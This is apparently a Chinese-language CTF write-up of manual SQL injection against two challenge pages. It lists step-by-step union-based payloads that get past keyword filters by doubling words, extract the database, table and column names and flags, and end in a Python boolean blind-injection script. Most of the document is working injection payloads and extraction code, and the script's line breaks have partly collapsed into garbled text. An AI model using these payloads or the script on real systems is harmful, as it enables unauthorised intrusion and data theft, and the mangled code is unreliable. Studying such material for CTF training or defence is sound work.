本文内容为SQL手动注入步骤+想法，以及盲注脚本。

http://123.206.87.240:9004/1ndex.php?id=1

http://123.206.87.240:9004/1ndex.php?id=1'  报错

http://123.206.87.240:9004/1ndex.php?id=1'--+ 正常 存在注入

http://123.206.87.240:9004/1ndex.php?id=1' and 1=1 --+  报错 and被过滤，

http://123.206.87.240:9004/1ndex.php?id=1 ^(length(‘and’)!=0)^‘

使用length 判断过滤得出 or union select 被过滤

http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2 --+  正常 双写绕过

http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 3 --+  报错 存在2个库

http://123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,2 --+  正常 回显2号位

对二号位进行注入

http://123.206.87.240:9004/1ndex.php?id=1’ aandnd 1=2 uunionnion sselectelect 1,database()--+

数据库名 web1002-1

http://123.206.87.240:9004/1ndex.php?id=1‘ aandnd 1=2 uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema = database() --+

表名 flag1,hint

123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name = 'flag1' --+

字段 flag1,address

http://123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,group_concat(flag1) from flag1 --+

flag1内容为:usOwycTju+FTUUzXosjr 填入发现不对，题目说有两个flag均为小写

http://123.206.87.240:9004/1ndex.php?id=1’ aandnd 1=2 uunionnion sselectelect 1,group_concat(address) from flag1 --+

address内容为下一关，点击进入下一关地址:http://123.206.87.240:9004/Once_More.php?id=1

http://123.206.87.240:9004/Once_More.php?id=1'  报错

http://123.206.87.240:9004/Once_More.php?id=1‘ --+  正常 存在注入

http://123.206.87.240:9004/Once_More.php?id=1’ order by 2 --+  正常

http://123.206.87.240:9004/Once_More.php?id=1’ order by 3 --+  报错 存在两个库

http://123.206.87.240:9004/Once_More.php?id=1‘ ^(length(‘union’)!=0)^’  正常 union被过滤

http://123.206.87.240:9004/Once_More.php?id=1‘ and 1=2 uunionnion select 1,2 --+  双写无法绕过

http://123.206.87.240:9004/Once_More.php?id=1’ and 1=2 Union select 1,2 --+  大小写无法绕过

http://123.206.87.240:9004/Once_More.php?id=1‘ ^(length(‘sleep’)!=0)^’  正常 sleep被过滤 substr也被过滤

由于正确错误返回不同 尝试写脚本Bool盲注

import sys
import requests
from bs4 import BeautifulSoup
import reurl_start = 'http://123.206.87.240:9004/Once_More.php?' sqldb ="id=1' and mid(database(),{0},1)='{1}'--+"sqltb ="id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),{0},1)='{1}'--+"
sqltest ="id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name ='flag2'),{0},1)='{1}'--+"
sqlflag ="id=1' and mid((select flag2 from flag2),{0},1)='{1}'--+"def Brup(SQL):name=''for i in range(1,40):for ch in range(32,129):if ch == 128:sys.exit(0)payload = SQL.format(i,chr(ch))url_all = url_start+payload#print(url_all)html = requests.get(url_all)soup = BeautifulSoup(html.content, 'html.parser')result = soup.find_all(text = 'Hello,I Am Here!')#判断列表是否为空if len(result):name += chr(ch)print('name:'+name)breakif __name__ == '__main__':#Brup(sqldb)#Brup(sqltb)#Brup(sqltest)
    Brup(sqlflag)#tablename：class,flag2
#注:跑出来为大写，flag全为小写。

usOwycTju+FTUUzXosjr

web1002-1